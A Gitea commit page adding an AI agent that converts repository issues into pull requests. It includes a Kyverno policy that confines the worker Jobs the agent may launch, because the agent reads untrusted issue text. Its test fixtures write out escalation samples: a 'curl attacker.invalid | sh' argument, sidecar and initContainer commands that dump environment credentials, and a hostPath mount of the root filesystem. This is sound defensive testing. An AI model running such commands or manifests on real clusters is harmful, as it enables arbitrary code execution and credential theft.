Home-Network/home-network-k3s-impl
2
0 Fork 0
Code Issues 3 Pull Requests 4 Actions Packages Projects Releases Wiki Activity

feat(pm-agent): an in-cluster AI Program Manager that turns Gitea issues into pull requests
gate / gate (pull_request) Failing after 1m51s
Details
gate / conformance (pull_request) Has been skipped
Details

Browse Source 
A service that reads this repository's Gitea issues, decides what to do about each
thread as the Program Manager persona, and runs one worker agent per assignment that
authors a change, runs the merge gate and opens a pull request. It reacts to issue
creation and to comments; the assignment and all correspondence travel through the
issue thread and the PR. It authenticates with an Anthropic subscription token. It
never pushes to main and never merges.

Three choices carry the design, with alternatives recorded in docs/plans/:
 - it POLLS rather than receiving webhooks (Gitea's webhook SSRF guard, lost
   deliveries, and no inbound reach needed at all);
 - it keeps NO state: the trigger is "the newest thing in this thread was not
   written by me", so the issue thread is the state — no PVC, no backup obligation;
 - the model holds NO tools: its reply is one JSON object this code validates, so
   nothing in the path executes text.

The boundary is platform/kyverno/admission/pm-agent-job-shape.yaml (Enforce,
failurePolicy: Fail), not the RBAC: Kubernetes places no `use` check on
serviceAccountName, so "may create Jobs" is "may run arbitrary code as the
namespace's most privileged identity". Six rules admit only the committed shape, and
the worker identity is bound to nothing with no token mounted, so there is nothing to
escalate to. 28/28 offline Kyverno assertions.

Nothing has run: the image has never been built or pushed, and both the image digest
and the two credentials are deliberate placeholders. See the handoff entry's
"What I did NOT verify".

Refs CLAUDE.md §1/§3/§6, R-SEC-02, R-GITOPS-02.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
This commit is contained in:
jakman85andClaude Opus 5 committed 2026-10-05 22:28:10 -05:00
1 parent 22c94effff
commit c5b5b8672a
32 files changed
+5102
Download Patch File Download Diff File Expand all files Collapse all files

No files matched your search

platform/kyverno/admission/pm-agent-job-shape.yaml
+364
View File
@@ -0,0 +1,364 @@
# Serves: R-SEC-02 (least privilege for workload identities)
#
# THIS POLICY IS THE SECURITY BOUNDARY. The RBAC in platform/pm-agent/rbac.yaml is not.
#
# Kubernetes places NO `use` check on a Pod's `serviceAccountName`. Any principal that can
# `create jobs` in namespace `pm-agent` can therefore create a Job that runs as any
# ServiceAccount in that namespace, with an ARBITRARY command — so the dispatcher's Role,
# however narrow it looks, IS whatever the most privileged identity in the namespace can do,
# unless something constrains the SHAPE of what it may create. This is the same finding
# conformance/incluster/rbac.yaml records for the conformance trigger, and the model here is
# deliberately the same one.
#
# Two things make it bite harder for this service than for that one:
#
# 1. THE CREATOR IS DRIVEN BY A LANGUAGE MODEL READING UNTRUSTED TEXT. The dispatcher asks
# the model what to do about an issue thread written by whoever can reach the
# repository. The model holds no tools and the dispatcher accepts only a validated
# vocabulary (an action from a fixed set, a branch matching CLAUDE.md §4) — but those
# are both one program away from the API server. This policy is the layer that does not
# depend on that program being correct.
# 2. THE WORKER RUNS MODEL-AUTHORED CODE WITH CREDENTIALS. Each worker holds a Gitea write
# token and an Anthropic subscription token. What stops a worker Job from being pointed
# at a different command, a different image, a mounted hostPath or a projected
# ServiceAccount token is this file.
#
# ENFORCE AND FAIL-CLOSED, NOT SUBSTITUTED. Note this does NOT use
# ${KYVERNO_VALIDATION_ACTION} like the app-scoped policies: a security boundary an
# environment overlay can downgrade to Audit is not a boundary. `failurePolicy: Fail` means a
# Kyverno outage blocks worker Jobs rather than silently admitting unconstrained ones.
# Blocking an agent's work is the correct failure direction; admitting arbitrary code that
# holds a git write token is not.
#
# SCOPE: it constrains ONLY Jobs created by the `pm-agent` ServiceAccount in the `pm-agent`
# namespace. Jobs created by humans, by Flux, or by any other SA are untouched — so a broken
# rule here cannot wedge the rest of the cluster. A human debugging this service can still
# create a one-off Job by hand, which is deliberate: the boundary exists to bound the
# AUTOMATED creator, not to lock the operator out of their own namespace.
#
# IMAGE PINNING — HONEST LIMIT, read before relying on this. The rules below require the
# image to live under the agent-runner repository path AND to be digest-pinned
# (`@sha256:`), never a mutable tag. Residual surface: anyone who can PUSH to that registry
# path could publish a different digest. TIGHTEN IT once the image exists by replacing the
# wildcard with the literal digest — a one-line change, reviewed in a pull request, which is
# exactly where a change to the security boundary belongs. (Same limit, same wording, as
# conformance-trigger-job-shape.yaml: that is not copy-paste, it is the same unresolved
# tradeoff in both places.)
#
# EVERY RULE BELOW EXISTS BECAUSE OF A FIELD THAT WAS ONCE UNREAD. The conformance policy
# shipped with three rules and then needed four more — `initContainers`, then
# `ephemeralContainers`, then `env`, then `envFrom` — because pinning `command` and `args`
# only moves the injection to whatever adjacent field nobody enumerated. This policy starts
# with all of them, and `trigger`-shaped rules are named `worker-…` for the same reason.
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: pm-agent-job-shape
annotations:
policies.kyverno.io/title: Constrain what the PM agent dispatcher may create
policies.kyverno.io/category: Supply chain
policies.kyverno.io/severity: critical
homelab.keithjackson.dev/requirements: R-SEC-02
homelab.keithjackson.dev/scope: admission-only
spec:
validationFailureAction: Enforce
failurePolicy: Fail
background: false
rules:
# =====================================================================================
# Rule 1 — the committed worker shape, as a pattern.
#
# `resources` AND `subjects` in the SAME filter entry: that is how Kyverno ANDs them. As
# two separate `all` entries it is a schema error ("match resources not specified") and
# the WHOLE policy loads as INVALID — which the CLI reports as a SKIP, i.e. a boundary
# that silently is not there. That mistake has already been made once in this repository.
# =====================================================================================
- name: worker-must-be-the-committed-shape
match:
all:
- resources:
kinds:
- Job
namespaces:
- pm-agent
subjects:
- kind: ServiceAccount
name: pm-agent
namespace: pm-agent
validate:
message: >-
The PM dispatcher may create ONLY the committed worker shape: a single container,
the digest-pinned agent-runner image, serviceAccountName pm-agent-worker with NO
mounted token, command ["/usr/local/bin/pm-worker"], no host namespaces, non-root
with privilege escalation disabled and a read-only root filesystem. See
infra/agent/worker-job-template.yaml and
platform/kyverno/admission/pm-agent-job-shape.yaml.
pattern:
spec:
template:
spec:
# The powerless identity. A Job that ran as `pm-agent` instead could create
# more Jobs — i.e. fork itself without limit — which is why this is pinned
# rather than merely defaulted.
serviceAccountName: pm-agent-worker
# A worker needs no Kubernetes API access at all, so it gets no token. This
# is the field that makes the empty `pm-agent-worker` Role moot rather than
# merely narrow.
automountServiceAccountToken: false
# A retried agent would duplicate its push, its pull request and its issue
# comment, from a tree the first attempt had already changed.
restartPolicy: Never
=(hostNetwork): "false"
=(hostPID): "false"
=(hostIPC): "false"
containers:
- image: "gitea.home.keithjackson.dev/home-network/agent-runner@sha256:*"
command:
- "/usr/local/bin/pm-worker"
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
=(privileged): "false"
# =====================================================================================
# Rule 2 — exactly one container, and no args on it.
#
# Rule 1's `containers` pattern is an ARRAY pattern, and a Kyverno array pattern asserts
# "at least one element matches". So rule 1 alone would admit the compliant worker
# container PLUS a second container with an arbitrary image and command, sharing the
# pod's network namespace and its two credential env vars. The count has to be asserted
# separately.
#
# `args` is the other half: the command is pinned, so caller-supplied code moves to the
# arguments. pm-worker refuses arguments itself (the image build asserts it), and this
# refuses them one layer earlier.
# =====================================================================================
- name: worker-must-be-one-container-with-no-args
match:
all:
- resources:
kinds:
- Job
namespaces:
- pm-agent
subjects:
- kind: ServiceAccount
name: pm-agent
namespace: pm-agent
validate:
message: >-
A worker Job must declare EXACTLY ONE container and give it NO args. A second
container shares the pod's namespaces and its credentials; args on a pinned command
are caller-supplied code.
deny:
conditions:
any:
- key: "{{ length(request.object.spec.template.spec.containers) }}"
operator: NotEquals
value: 1
- key: "{{ length(not_null(request.object.spec.template.spec.containers[0].args, `[]`)) }}"
operator: GreaterThan
value: 0
# =====================================================================================
# Rule 3 — only the `workspace` and `tmp` volumes.
#
# foreach, NOT a `pattern` list, for the reason in rule 2: an array pattern is satisfied
# by one matching element, so it would happily admit `workspace` PLUS a hostPath, a
# secret projection, or another SA's token. This asserts EVERY volume is one of the two,
# and that each is an emptyDir — a volume named `workspace` whose source is a hostPath
# would otherwise pass a name-only check.
# =====================================================================================
- name: worker-volumes-must-be-workspace-or-tmp-emptydirs
match:
all:
- resources:
kinds:
- Job
namespaces:
- pm-agent
subjects:
- kind: ServiceAccount
name: pm-agent
namespace: pm-agent
validate:
message: >-
A worker Job may mount only the `workspace` and `tmp` volumes, and both must be
emptyDir. An extra volume — or a hostPath wearing an allowed name — is how a
constrained pod reaches the host, a Secret, or another ServiceAccount's token.
foreach:
- list: "request.object.spec.template.spec.volumes"
deny:
conditions:
any:
- key: "{{ element.name }}"
operator: AnyNotIn
value: ["workspace", "tmp"]
# The SOURCE must be emptyDir, asserted over the volume's KEY SET rather
# than over emptyDir's contents: `emptyDir: {}` is a perfectly valid
# volume with no sizeLimit, and a length check on it denies the good case
# (measured — this is what row 5 of the test caught). Checking the keys
# also catches every other source type without naming them, so a future
# `csi:` or `projected:` is denied by default rather than by enumeration.
- key: "{{ keys(element) }}"
operator: AnyNotIn
value: ["name", "emptyDir"]
# =====================================================================================
# Rule 4 — no initContainers and no ephemeralContainers.
#
# These are the second and third container lists on a PodSpec, and every rule above reads
# only `containers`. On the conformance policy this exact gap was MEASURED: a Job with a
# fully compliant containers[0] and a privileged initContainer running an arbitrary
# command was ADMITTED (pass 3, fail 0) before the equivalent rule existed.
#
# Unlike the conformance run, a worker needs NO init container at all — pm-worker does its
# own clone, inside the one pinned entrypoint — so this is a flat prohibition rather than
# a second pinned shape. That is strictly simpler to reason about, and it is the whole
# reason the clone lives in the entrypoint instead of in an init step.
#
# `ephemeralContainers` is believed to be rejected by upstream Kubernetes in a Job's pod
# template (the field is settable only via the pods/ephemeralcontainers subresource).
# THAT HAS NOT BEEN VERIFIED on this cluster, and "probably rejected upstream" is not a
# boundary. The condition costs nothing and is a no-op when the field is absent.
# =====================================================================================
- name: worker-may-not-declare-init-or-ephemeral-containers
match:
all:
- resources:
kinds:
- Job
namespaces:
- pm-agent
subjects:
- kind: ServiceAccount
name: pm-agent
namespace: pm-agent
validate:
message: >-
A worker Job may not declare initContainers or ephemeralContainers. pm-worker does
its own clone inside the pinned entrypoint, so neither has a legitimate purpose
here — and either is a second container list running with the worker's credentials
under a command this policy does not read.
deny:
conditions:
any:
- key: "{{ length(not_null(request.object.spec.template.spec.initContainers, `[]`)) }}"
operator: GreaterThan
value: 0
- key: "{{ length(not_null(request.object.spec.template.spec.ephemeralContainers, `[]`)) }}"
operator: GreaterThan
value: 0
# =====================================================================================
# Rule 5 — only the committed environment variable NAMES.
#
# The pattern from the conformance policy, applied before it has to be learned again:
# pin `command` and `args`, and injection moves to the environment. It is not
# hypothetical here either —
# * pm-worker keys its whole behaviour on this environment: PM_BRANCH decides which ref
# is created and pushed, PM_GITEA_URL decides which host is cloned from and pushed to
# (it validates that one against a baked-in allowlist, which is the other half of
# this defence), PM_TASK_MODE decides whether an existing branch is reused;
# * `claude` reads ANTHROPIC_API_KEY and ANTHROPIC_AUTH_TOKEN AHEAD of the subscription
# token, so one injected variable redirects every model call to a different
# credential and a different endpoint (pm-worker unsets them, which is defence in
# depth, not a reason to omit this);
# * and bash itself reads BASH_ENV, which it sources before a non-interactive script —
# so `command: ["/usr/local/bin/pm-worker"]` plus one env var would be arbitrary code
# execution holding a git write token.
#
# NOT CONSTRAINED, deliberately: the VALUES. They are legitimately per-assignment (a
# branch, a brief, an issue number), and pm-worker validates every one it acts on. Names
# are the vector that matters, because a name is what a program keys its behaviour on.
# The `valueFrom` SOURCES are likewise unconstrained here and constrained in the one place
# that can: the committed Job template holds them and pm-dispatch refuses to overwrite an
# entry that has a `valueFrom`.
#
# This list must stay equal to WORKER_ENV_ALLOWED in infra/agent/pm-dispatch.py. The
# duplication is deliberate — the policy must decide without trusting that program — and
# platform/kyverno/tests/pm-agent/ pins them together with the real template as a fixture.
# =====================================================================================
- name: worker-env-names-must-be-the-committed-set
match:
all:
- resources:
kinds:
- Job
namespaces:
- pm-agent
subjects:
- kind: ServiceAccount
name: pm-agent
namespace: pm-agent
validate:
message: >-
A worker Job may set only the committed environment variables (PM_TASK_MODE,
PM_ISSUE_NUMBER, PM_ISSUE_TITLE, PM_BRANCH, PM_BASE_BRANCH, PM_BRIEF, PM_GITEA_URL,
PM_GITEA_OWNER, PM_GITEA_REPO, PM_GITEA_USER, PM_MODEL, PM_MAX_TURNS,
PM_MAX_BUDGET_USD, PM_PUSH_ON_RED_GATE, GITEA_TOKEN, CLAUDE_CODE_OAUTH_TOKEN, HOME,
TMPDIR). An arbitrary env var changes what the pinned command does — BASH_ENV alone
is arbitrary code execution, and ANTHROPIC_API_KEY silently outranks the
subscription token. Widening this list is a reviewed one-line change, in two files.
foreach:
- list: "request.object.spec.template.spec.containers[0].env"
deny:
conditions:
all:
- key: "{{ element.name }}"
operator: AnyNotIn
value:
- PM_TASK_MODE
- PM_ISSUE_NUMBER
- PM_ISSUE_TITLE
- PM_BRANCH
- PM_BASE_BRANCH
- PM_BRIEF
- PM_GITEA_URL
- PM_GITEA_OWNER
- PM_GITEA_REPO
- PM_GITEA_USER
- PM_MODEL
- PM_MAX_TURNS
- PM_MAX_BUDGET_USD
- PM_PUSH_ON_RED_GATE
- GITEA_TOKEN
- CLAUDE_CODE_OAUTH_TOKEN
- HOME
- TMPDIR
# =====================================================================================
# Rule 6 — no envFrom.
#
# It injects an entire ConfigMap or Secret as environment variables whose KEYS are not
# visible in the Job at all, which would make rule 5 unenforceable by inspection. The
# dispatcher itself uses envFrom (it is a Deployment, not a Job, and not matched by this
# policy); a worker must not.
# =====================================================================================
- name: worker-may-not-use-envfrom
match:
all:
- resources:
kinds:
- Job
namespaces:
- pm-agent
subjects:
- kind: ServiceAccount
name: pm-agent
namespace: pm-agent
validate:
message: >-
A worker Job may not use envFrom. It injects a whole ConfigMap or Secret as
environment variables whose keys the Job does not name, which would make the
env-name allowlist unenforceable by inspection.
deny:
conditions:
any:
- key: "{{ length(not_null(request.object.spec.template.spec.containers[0].envFrom, `[]`)) }}"
operator: GreaterThan
value: 0
- key: "{{ length(not_null(request.object.spec.template.spec.initContainers[].envFrom[], `[]`)) }}"
operator: GreaterThan
value: 0
platform/kyverno/tests/pm-agent/kyverno-test.yaml
+109
View File
@@ -0,0 +1,109 @@
# R-SEC-02 — the PM agent dispatcher cannot escalate to arbitrary privileged execution.
#
# The dispatcher's one privileged act is `create jobs` in its own namespace, and Kubernetes
# places no `use` check on serviceAccountName — so without
# platform/kyverno/admission/pm-agent-job-shape.yaml that single verb IS arbitrary code
# execution in the namespace, holding a Gitea write token and an Anthropic subscription
# token. These rows are what prove the policy actually refuses each route to it.
#
# user-info.yaml supplies the requesting identity. WITHOUT it the policy's `subjects` match
# never fires, every case trivially passes, and this file becomes coverage theatre.
#
# A NOTE ON WHICH ROWS NAME WHICH FIXTURES: a `foreach` over an absent list produces no
# result at all, so a fixture with no `volumes` (or no `env`) is NOT reported by the rule
# that iterates them and must not be listed for it. That is why the volume and env rows name
# fixtures individually instead of listing everything.
apiVersion: cli.kyverno.io/v1alpha1
kind: Test
metadata:
name: pm-agent-job-shape
policies:
- ../../admission/pm-agent-job-shape.yaml
resources:
- resources.yaml
userinfo: user-info.yaml
results:
# ---------------- the committed run is ADMITTED ----------------
- policy: pm-agent-job-shape
rule: worker-must-be-the-committed-shape
kind: Job
resources: [good-run, real-template]
result: pass
- policy: pm-agent-job-shape
rule: worker-must-be-one-container-with-no-args
kind: Job
resources: [good-run, real-template]
result: pass
- policy: pm-agent-job-shape
rule: worker-volumes-must-be-workspace-or-tmp-emptydirs
kind: Job
resources: [good-run, real-template]
result: pass
- policy: pm-agent-job-shape
rule: worker-may-not-declare-init-or-ephemeral-containers
kind: Job
resources: [good-run, real-template]
result: pass
# Only `real-template` and `injected-env` set env at all, so they are the only fixtures the
# env rule reports on.
- policy: pm-agent-job-shape
rule: worker-env-names-must-be-the-committed-set
kind: Job
resources: [real-template]
result: pass
- policy: pm-agent-job-shape
rule: worker-may-not-use-envfrom
kind: Job
resources: [good-run, real-template]
result: pass
# ---------------- THE escalation, and the shape rule's other refusals ----------------
# `evil-command` is the case the whole model exists for: right namespace, right creator,
# arbitrary command. The rest are each a single field away from compliant.
- policy: pm-agent-job-shape
rule: worker-must-be-the-committed-shape
kind: Job
resources:
- evil-command
- evil-image
- tag-not-digest
- worker-as-dispatcher-sa
- token-mounted
- writable-rootfs
- host-namespaces
- restart-onfailure
- second-container
result: fail
# ---------------- args, and the second container ----------------
- policy: pm-agent-job-shape
rule: worker-must-be-one-container-with-no-args
kind: Job
resources: [injected-args, second-container]
result: fail
# ---------------- an extra volume, or an allowed name over a hostPath ----------------
- policy: pm-agent-job-shape
rule: worker-volumes-must-be-workspace-or-tmp-emptydirs
kind: Job
resources: [extra-volume, hostpath-named-workspace]
result: fail
# ---------------- the same escalation via the other two container lists ----------------
- policy: pm-agent-job-shape
rule: worker-may-not-declare-init-or-ephemeral-containers
kind: Job
resources: [evil-initcontainer, evil-ephemeral-container]
result: fail
# ---------------- and via env, and via envFrom ----------------
- policy: pm-agent-job-shape
rule: worker-env-names-must-be-the-committed-set
kind: Job
resources: [injected-env]
result: fail
- policy: pm-agent-job-shape
rule: worker-may-not-use-envfrom
kind: Job
resources: [envfrom-whole-secret]
result: fail
platform/kyverno/tests/pm-agent/resources.yaml
+494
View File
@@ -0,0 +1,494 @@
# =============================================================================
# Fixtures for platform/kyverno/admission/pm-agent-job-shape.yaml.
#
# Every DENY case below is a real escalation path, not a style violation. The one that
# matters most is `evil-command`: correct namespace, correct creator, arbitrary command.
# That is the attack the whole model exists to stop, and RBAC cannot — Kubernetes places no
# `use` check on serviceAccountName, so "can create Jobs in this namespace" IS "can run
# arbitrary code here" without this policy.
#
# `real-template` is infra/agent/worker-job-template.yaml as the dispatcher renders it, and
# it exists so that a template which drifts OUT of admission fails `make -C ci l0` rather
# than failing at 3am against the live API server. IT IS A HAND-MAINTAINED COPY: `kyverno
# test` resolves resource paths inside the directory ci/l0.sh copies platform/kyverno/ into,
# so it cannot reference the template in infra/ directly. Keep the admission-relevant fields
# — image, serviceAccountName, automountServiceAccountToken, restartPolicy, command, args,
# env NAMES, volumes, securityContext — in step with that file. (`PM_SELFTEST=1 pm-dispatch`
# checks the template against the dispatcher's own copy of the env allowlist, so the two
# allowlists are pinned together even though this fixture is manual.)
# =============================================================================
apiVersion: batch/v1
kind: Job
metadata:
name: real-template
namespace: pm-agent
spec:
backoffLimit: 0
activeDeadlineSeconds: 5400
ttlSecondsAfterFinished: 172800
template:
spec:
restartPolicy: Never
automountServiceAccountToken: false
serviceAccountName: pm-agent-worker
securityContext:
runAsNonRoot: true
runAsUser: 65532
runAsGroup: 65532
fsGroup: 65532
seccompProfile:
type: RuntimeDefault
containers:
- name: worker
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/pm-worker"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
privileged: false
capabilities:
drop: [ALL]
env:
- { name: PM_TASK_MODE, value: implement }
- { name: PM_ISSUE_NUMBER, value: "42" }
- { name: PM_ISSUE_TITLE, value: "Pi-hole adlists are not declared in git" }
- { name: PM_BRANCH, value: fix/pihole-declare-adlists }
- { name: PM_BASE_BRANCH, value: main }
- { name: PM_BRIEF, value: "Declare the adlists. They are DB rows today." }
- { name: PM_GITEA_URL, value: http://gitea.gitea.svc.cluster.local:3000 }
- { name: PM_GITEA_OWNER, value: Home-Network }
- { name: PM_GITEA_REPO, value: home-network-k3s-impl }
- { name: PM_GITEA_USER, value: pm-agent }
- { name: PM_MODEL, value: claude-opus-5 }
- { name: PM_MAX_TURNS, value: "80" }
- { name: PM_MAX_BUDGET_USD, value: "10" }
- { name: PM_PUSH_ON_RED_GATE, value: "false" }
# BY SECRET NAME ONLY (R-IDP-04) — and as env, not as a volume, because
# `workspace` and `tmp` are the only two volume names admission allows.
- name: GITEA_TOKEN
valueFrom:
secretKeyRef: { name: pm-agent-credentials, key: gitea-token }
- name: CLAUDE_CODE_OAUTH_TOKEN
valueFrom:
secretKeyRef: { name: pm-agent-credentials, key: claude-code-oauth-token }
volumeMounts:
- { name: workspace, mountPath: /workspace }
- { name: tmp, mountPath: /tmp }
volumes:
- name: workspace
emptyDir: { sizeLimit: 4Gi }
- name: tmp
emptyDir: { sizeLimit: 1Gi }
---
# The MINIMAL admissible shape: everything the policy requires and nothing else. Kept
# alongside `real-template` so a failure tells you whether the policy got stricter or the
# template drifted.
apiVersion: batch/v1
kind: Job
metadata:
name: good-run
namespace: pm-agent
spec:
template:
spec:
restartPolicy: Never
automountServiceAccountToken: false
serviceAccountName: pm-agent-worker
containers:
- name: worker
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/pm-worker"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
volumeMounts:
- { name: workspace, mountPath: /workspace }
volumes:
- name: workspace
emptyDir: {}
---
# ===================== THE escalation: correct everything, arbitrary command ============
# This is the case the policy exists for. If it ever passes, the boundary is gone.
apiVersion: batch/v1
kind: Job
metadata:
name: evil-command
namespace: pm-agent
spec:
template:
spec:
restartPolicy: Never
automountServiceAccountToken: false
serviceAccountName: pm-agent-worker
containers:
- name: worker
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/bin/sh", "-c", "git push origin HEAD:main"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
volumes:
- name: workspace
emptyDir: {}
---
# A different image entirely — the pinned command means nothing if the thing at that path is
# somebody else's.
apiVersion: batch/v1
kind: Job
metadata:
name: evil-image
namespace: pm-agent
spec:
template:
spec:
restartPolicy: Never
automountServiceAccountToken: false
serviceAccountName: pm-agent-worker
containers:
- name: worker
image: docker.io/library/alpine@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/pm-worker"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
---
# A TAG, not a digest. The right repository path, so a name-only check would admit it — and
# whoever can move the tag then chooses what runs.
apiVersion: batch/v1
kind: Job
metadata:
name: tag-not-digest
namespace: pm-agent
spec:
template:
spec:
restartPolicy: Never
automountServiceAccountToken: false
serviceAccountName: pm-agent-worker
containers:
- name: worker
image: gitea.home.keithjackson.dev/home-network/agent-runner:latest
command: ["/usr/local/bin/pm-worker"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
---
# Running as the DISPATCHER's own identity, which can create Jobs — i.e. a worker that can
# fork itself without limit, and bypass the per-cycle and concurrency caps entirely.
apiVersion: batch/v1
kind: Job
metadata:
name: worker-as-dispatcher-sa
namespace: pm-agent
spec:
template:
spec:
restartPolicy: Never
automountServiceAccountToken: false
serviceAccountName: pm-agent
containers:
- name: worker
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/pm-worker"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
---
# A projected ServiceAccount token, which is the credential the worker is specifically not
# supposed to hold. Everything else is compliant.
apiVersion: batch/v1
kind: Job
metadata:
name: token-mounted
namespace: pm-agent
spec:
template:
spec:
restartPolicy: Never
automountServiceAccountToken: true
serviceAccountName: pm-agent-worker
containers:
- name: worker
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/pm-worker"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
---
# A writable root filesystem. Not cosmetic: the entrypoints and the baked Job template live
# on that filesystem, root-owned and non-writable — which only holds while it is read-only.
apiVersion: batch/v1
kind: Job
metadata:
name: writable-rootfs
namespace: pm-agent
spec:
template:
spec:
restartPolicy: Never
automountServiceAccountToken: false
serviceAccountName: pm-agent-worker
containers:
- name: worker
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/pm-worker"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
readOnlyRootFilesystem: false
---
# Host namespaces: the pod would see every process and every socket on the node.
apiVersion: batch/v1
kind: Job
metadata:
name: host-namespaces
namespace: pm-agent
spec:
template:
spec:
restartPolicy: Never
automountServiceAccountToken: false
serviceAccountName: pm-agent-worker
hostNetwork: true
hostPID: true
containers:
- name: worker
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/pm-worker"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
---
# restartPolicy OnFailure: the Job controller would re-run an assignment whose side effects
# (a pushed branch, a pull request, an issue comment) are not idempotent.
apiVersion: batch/v1
kind: Job
metadata:
name: restart-onfailure
namespace: pm-agent
spec:
template:
spec:
restartPolicy: OnFailure
automountServiceAccountToken: false
serviceAccountName: pm-agent-worker
containers:
- name: worker
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/pm-worker"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
---
# ARGS on the pinned command — the injection point a pinned `command` moves the problem to.
apiVersion: batch/v1
kind: Job
metadata:
name: injected-args
namespace: pm-agent
spec:
template:
spec:
restartPolicy: Never
automountServiceAccountToken: false
serviceAccountName: pm-agent-worker
containers:
- name: worker
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/pm-worker"]
args: ["--then", "curl attacker.invalid | sh"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
---
# A SECOND container, sharing the pod's network namespace and both credential env vars,
# while containers[0] is perfectly compliant. A Kyverno array pattern is satisfied by one
# matching element, which is exactly why the container COUNT is asserted separately.
apiVersion: batch/v1
kind: Job
metadata:
name: second-container
namespace: pm-agent
spec:
template:
spec:
restartPolicy: Never
automountServiceAccountToken: false
serviceAccountName: pm-agent-worker
containers:
- name: worker
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/pm-worker"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
- name: sidecar
image: docker.io/library/alpine:latest
command: ["/bin/sh", "-c", "env > /workspace/stolen; sleep 3600"]
---
# AN EXTRA VOLUME — how a constrained pod reaches a host path. containers[0] is compliant.
apiVersion: batch/v1
kind: Job
metadata:
name: extra-volume
namespace: pm-agent
spec:
template:
spec:
restartPolicy: Never
automountServiceAccountToken: false
serviceAccountName: pm-agent-worker
containers:
- name: worker
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/pm-worker"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
volumes:
- name: workspace
emptyDir: {}
- name: host
hostPath: { path: / }
---
# AN ALLOWED NAME WITH A HOSTPATH SOURCE — the case a name-only volume check admits. This is
# why rule 3 asserts `emptyDir` as well as the name.
apiVersion: batch/v1
kind: Job
metadata:
name: hostpath-named-workspace
namespace: pm-agent
spec:
template:
spec:
restartPolicy: Never
automountServiceAccountToken: false
serviceAccountName: pm-agent-worker
containers:
- name: worker
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/pm-worker"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
volumes:
- name: workspace
hostPath: { path: /var/lib/kubelet }
---
# THE SAME ESCALATION VIA `initContainers`, which every rule that reads `containers` misses.
# Measured on the sibling policy before its equivalent rule existed: a Job exactly like this
# was ADMITTED (pass 3, fail 0).
apiVersion: batch/v1
kind: Job
metadata:
name: evil-initcontainer
namespace: pm-agent
spec:
template:
spec:
restartPolicy: Never
automountServiceAccountToken: false
serviceAccountName: pm-agent-worker
initContainers:
- name: setup
image: docker.io/library/alpine:latest
command: ["/bin/sh", "-c", "cat /proc/self/environ > /workspace/stolen"]
securityContext:
privileged: true
containers:
- name: worker
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/pm-worker"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
---
# ...and via the third container list nobody reads.
apiVersion: batch/v1
kind: Job
metadata:
name: evil-ephemeral-container
namespace: pm-agent
spec:
template:
spec:
restartPolicy: Never
automountServiceAccountToken: false
serviceAccountName: pm-agent-worker
containers:
- name: worker
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/pm-worker"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
ephemeralContainers:
- name: debug
image: docker.io/library/alpine:latest
command: ["/bin/sh"]
---
# ...and via `env`, the same mistake a third time. BASH_ENV is sourced by bash before a
# non-interactive script, so it alone is arbitrary code execution under the pinned command;
